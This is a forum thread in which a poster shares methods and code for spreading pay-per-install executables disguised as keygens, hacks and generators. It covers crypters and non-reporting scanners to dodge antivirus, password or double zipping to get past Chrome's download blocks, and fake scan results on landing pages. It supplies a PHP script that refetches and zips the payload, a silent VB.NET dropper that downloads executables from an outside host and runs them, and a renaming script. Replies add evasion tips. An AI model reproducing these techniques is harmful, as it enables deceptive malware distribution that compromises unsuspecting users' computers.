[METHOD + CODE]Maximize your PPI Revenue Bypass Chrome Blocks

[neOtron]

Hello,


Due to my previous thread related to ppi a lot of users ask me regarding PPI tips so i thought why not to share this in public and save myself some time explaining this to everyone who ask me for help through PM. i DO NOT claim that i m some kind of GURU in PPI because i m not but still i will share what i know.


ONE LINER ULTRA SHORT VERSION : Have direct link of PPI Network's exe file. and use your own HOSTING.


DETAILED VERSION :
So lets move on.


OK now there are two major issue with PPI these days which make or break your conversion rate are :
1) Antivirus detection
2) Chrome Blocks




1) Antivirus detection
You cant deal with the first problem yourself unless you buy your own compatible crypter but that again leads to several other issues . Its the PPI network's job to make their exe file undetectable by major antivirus by using Crypters (I wont go into details regarding crypters because there are several kind of crypters and their dependencies). If they cant do their job properly then do yourself a favour and ditch that PPI network till they fix this issue.


But incase you have no other option but to use their network then atleast make sure their exe is not getting detected by more then 2-3 antivirus.Most crypters have problem with NOD32 and Avast antivirus. If your exe file is getting detected by these two antivirus but are undetectable by the rest then you may use the network.
IMPORTANT : when you are scanning their exe file for virus .NEVER EVER USE VIRUSTOTAL DOT COM . Reason is virustotal share their data with antivirus companies .
To scan the exe you may use fuckingscan.me or nodistribute.com as they dont distribute their data.






2) Chrome Blocks


What is this chrome block : google chrome is now blocking downloads (exe files) if the host is not trustworthy according to google.


There are two kind of blocks :
1)Hard block - Chrome just block the download saying the file is malicious
2)Soft Block - Chrome blocks the download by telling that file is not commonly downloaded . But here user have option to keep the file or discard it.



HOW TO BYPASS CHROME BLOCK FOR PPI FILE
Now there are several ways we use PPI. each one have a different way to solve this chrome block issue

People use PPI in two different ways :
A) Directly distributing the PPI exe file by calling it something else (fake stuffs like keygen hacks).
B) Integrating the PPI network's file with your own software . I Have little experience in this method but will share what i have.



Lets look into situation 'A' FIRST i.e. Directly distributing the PPI exe file by calling it something else (fake stuffs like keygen hacks).


Here the network will provide you two solutions :
a) A Landing page link with a variable in the url ,where you may insert your keyword . Example : http://ppisite.com/keyword . whatever you will put in place of keyword will become the name of the download file.


This kind of link is very hard to deal with because the domain provided by the network will get flagged again and again and you have to reply on the PPI network to provide you newer domains every few days . I used to use this way but later i ditched this as i my conversion sucked with this.


b) Alternatively your PPI network should give you another direct download link which you can use it on your own landing page. This is the best way and this is how you can maximize your conversion using my codes .


If you are using the landing page type link then i strongly suggest you to ask your affiliate manager to provide direct link. Because if you have the direct link you can use it the way you want.


NOW Remember this : NEVER EVER DIRECT LINK TO PPI FILE DIRECTLY FROM YOU DOMAIN. as your domain will get marked as phishing site sooner or later.


Considering you now have direct access to PPI network's exe File . Now there are multiple way you can use this file but i STRONGLY STRONGLY suggest you to use your own landing page.
Benefits of your own landing page.
1) you can tweak your landing page to maximize your conversions.
2) Even if your landing page domain gets flagged by google you can quickly change your domain.


A simple landing page will consist of a simple download button . a more advanced version will have file name, social share buttons, some fake antivirus scan results, comment box etc etc. SO create one landing page for yourself


Another tip to save you landing page by getting flagged by google : Dont link your ppi file directly from landing page. installed use javascript. HOW? well i will tell you .


Suppose code for your download button is like this :

<a href="http://ppidomain.com/file.exe" >Download File</a>

Now instead of linking the file this way we will use a little javascript trick :

<script type="text/javascript">
    function openpage(link)
    {
         var win = window.open(link, '_blank');
         win.focus();
    }
</script>
<a href="#" onclick='openpage("http://ppidomain.com/file.exe"); return false;' >Download File</a>

The above code is used to prevent search engines to follow your download link, which gets your domain flagged if the exe file is having virus.


But again as chrome dont trust you ppi network's domain so the exe file will get blocked .
To prevent this from happening there are two ways :
1) Either use host that chrome trust like mediafire, dropbox google drive etc . but the problem is those host can delete your file anytime as soon as detect it as virus. and also the ppi networks keep updating their file to avoid detections. so you need to reupload the file again and again manually.


2) Use you own host and zip the file with password as chrome wont block ZIP file if i cant find a exe file inside that zip. Dont RAR it as people dont usually have winrar/7zip software to uncompress the file and so your conversion decreases. But zipped file can be uncompressed by windows by default
I actually did lot of testing with direct exe download vs zipped file with password vs RARed file . and i did not notice much difference with password protected zipped file. but i noticed lot lesser conversion with RARed file.


Now i will share my PHP code which will automate these things :
1) Automate downloading the latest ppi network's file every 15 minutes using cron jobs.
2) Zipping that download exe file with a password
3) Again zipping the above password protected zip file with a readme.txt file that contains the password .

<?php
//Save as cron.zip and run it every 15 minutes
$ppifile = file_get_contents('http://ppidomain.com/file.exe');
file_put_contents('file.exe', $ppifile);


if(file_exists('file.exe') AND (filesize('file.exe')>1))
{
    echo $cmd ="zip -P 123 file.zip file.exe";
    exec($cmd, $out, $rv);
    //echo "<br>output is:\n".implode("\n", $out)."\n exit code:$rv\n";
    if(file_exists('file.zip') AND (filesize('file.zip')>1))
    {
        @unlink('setup.zip');
        echo $cmd ="zip setup.zip file.zip password_is_123.txt";
        exec($cmd, $out, $rv);
        echo "<br>output is:\n".implode("\n", $out)."\n exit code:$rv\n";
        if(file_exists('setup.zip') AND (filesize('setup.zip')>1))
        {
            echo "success";
            @unlink('file.exe');
            @unlink('file.zip');
        }
        else
        {
            echo "<br>setup.zip wasnt made";
        }


    }
    else
    {
        echo "<br>file.zip wasnt made";
    }


}
else
{
    echo "<br>file.exe wasnt made";
}


?>

What the above code will do is it will download the latest ppi exe file every 15 minutes and zip it with password (123) . the password locked zip file will be called file.zip . Now again this zip file will get zipped along with a text file "password_is_123.txt" but this zip wont have any password.


Content of 'password_is_123.txt'

password to unzip the file  : 123

NOTE: You need a vps to run the above codes. just get any $3-$5 linux vps and install Zpanel in it. 15 minutes job. Let me know if you need help with that .


This is the exact Setup i use for my PPI Network's file.


Now because your file is a zip file so chrome wont block it and as its zipped file instead of RARed so most people will be able to unzip it easily by reading the text file.








Now lets look into situation 'B' i.e. Integrating the PPI network's file with your own software .


Now i dont have much experience with this scenario but i did some testing and my biggest problem was to integrate the PPI file with my own software and keeping the bundled file undetected as the ppi network's file is bound to get detected by Antivirus again and again. and i cant keep bundling the software again and again. so i figured a way to avoid this :


What is you distribute an exe file which neither contains the ppi network's file , nor your own bulky software . but instead just a tiny exe file of say 20-30Kb whose job is just to download other exe files and execute it automatically. This way there's no chance that your exe will get detected by antivirus during download.
Run-time scan is different scenario but i cant explain that in his thread .its very long already.


So let me share my code again to do this : you need to have visual studio installed in your system to complite this code to generate an exe file.

Imports System.IO
Module Module1
    Dim strnameone As String = Environ("appdata") & "\bin\setup.exe"
    Dim strnametwo As String = Environ("appdata") & "\Bin\installer.exe"




    Sub Main()
        If Not Directory.Exists(Environ("APPDATA") & "\bin\") Then
            Directory.CreateDirectory(Environ("APPDATA") & "\bin\")
        End If




        On Error GoTo handler
        downloadfile1("http://pomf.se/file1.exe", strnameone)
        Process.Start(strnameone)




        On Error GoTo handler
        downloadfile2("http://pomf.se/file2.exe", strnametwo)
        Process.Start(strnametwo)
handler:  ' if an error occurs instead of throwing a msgbox it will just go here and close because there is no more work to do
    End Sub




    Sub downloadfile1(ByVal downloadlink As String, ByVal downloadpath As String)
        On Error GoTo handler
        If Process.GetProcessesByName("setup").Length < 1 Then
            File.Delete(downloadpath)
            My.Computer.Network.DownloadFile(downloadlink, downloadpath)
        End If
handler:
    End Sub




    Sub downloadfile2(ByVal downloadlink As String, ByVal downloadpath As String)
        On Error GoTo handler
        If Process.GetProcessesByName("installer").Length < 1 Then
            File.Delete(downloadpath)
            My.Computer.Network.DownloadFile(downloadlink, downloadpath)
        End If
handler:
    End Sub




End Module

The above code will generate a small exe file of 20-30 KB . completely undetectable file. when its execute it will first download the ppi network's file and install it, then will download your own software and install it. everything in background.


I m sorry if all these is too technical but you need to learn this if wanna increase your conversions. try youtube if wish to learn how to use the above codes.






That's all guys . Feel free to use my codes if you wish . This i what i myself use with my ppi campaigns.




And again regarding which ppi network i use now after REVENYOU PPI NETWORK Scammed me for over $4000 :/ i am using a Private PPI Network with daily payment option. Sorry cant name it in public as my affiliate manager wont like it. but if you wanna try it then PM me but you will have to talk with the network's affiliate manager as he approves selective traffic only .

do you know a php method where we can rename the .zip file by adding parameters on url ?

for example

myhostedppifile.com/?filename=name%20of%20file%here.zip (where %20 is equivalent to spaces in HTML)

any advice will be great thanks

Yeah . for that u need another php file that will rename your zip file to your keyword.

Create a file 'download.php' and put this code there

<?php
date_default_timezone_set('America/Los_Angeles');
$initial=@$_REQUEST['name'];

$file_url = 'http://myhostedppifile.com/setup.zip';

header('Content-Type: application/octet-stream');
header("Content-Transfer-Encoding: Binary"); 
header("Content-disposition: attachment; filename=\"" . $initial." ".basename($file_url) . "\""); 
readfile($file_url); // do the double-download-dance


?>
<META NAME="ROBOTS" CONTENT="NOINDEX, NOFOLLOW">

Now instead of direct linking the zip file you will link to this php file with a keyword parameter : like http://ppidomain.com/download.php?name=keyword

<script type="text/javascript">
function openpage(link)
{
var win = window.open(link, '_blank');
win.focus();
}
</script>
<a href="#" onclick='openpage("http://ppidomain.com/download.php?name=paypal monkey generator"); return false;' >Download File</a>

What the above code will do is now instead of asking to save the file as setup.zip it will display "paypal monkey generator setup.exe"

Enjoy

you know, just double zipping it does the trick, no need to password protect it. Single zipping is detected by chrome by not double zipping

Why on earth i never tried that
Thanks for the tip

To bypass Chrome or to make this exe almost 100% clean is not sience ( i can do that without crypter or zip).
Peoples must understand that this PPI exe is like a window...there is no offers inside. Those offers are downloadable from their servers, and this depends what OS you have, what IP, x86/x64, etc. You can mask/hide this exe, but you can't hide from AV's eyes, once this exe try to comunicate and download all those sh*** offers, AV it will detect that.
Please correct me if I am wrong

How will you bypass chrome flags without crypter or zip?

 

[THUNDERELVI]

Awesome thread, explained in detail. Bookmarked for future use. Can you give any tips to increase download convertion rates on the landing page? I already use some myself and I'm satisfied with it, but more never hurts
Thanks!

As i say...is easy.

As i say...is easy.

yeah if you say so but you aren't mentioning how?

It's always essential to propagate your utility and ensure security doesn't shut off your intent to distribute authentic software not popular enough to get cracked down upon.

Either that or always make installs go through .

This is as Black as the color can go, love every minute of it!

Is it just me that I got shit from this sentence?

Dear neOtron,

I can't P M you about your Private PPI Network.
Please P M me more detail if possible.

thanks
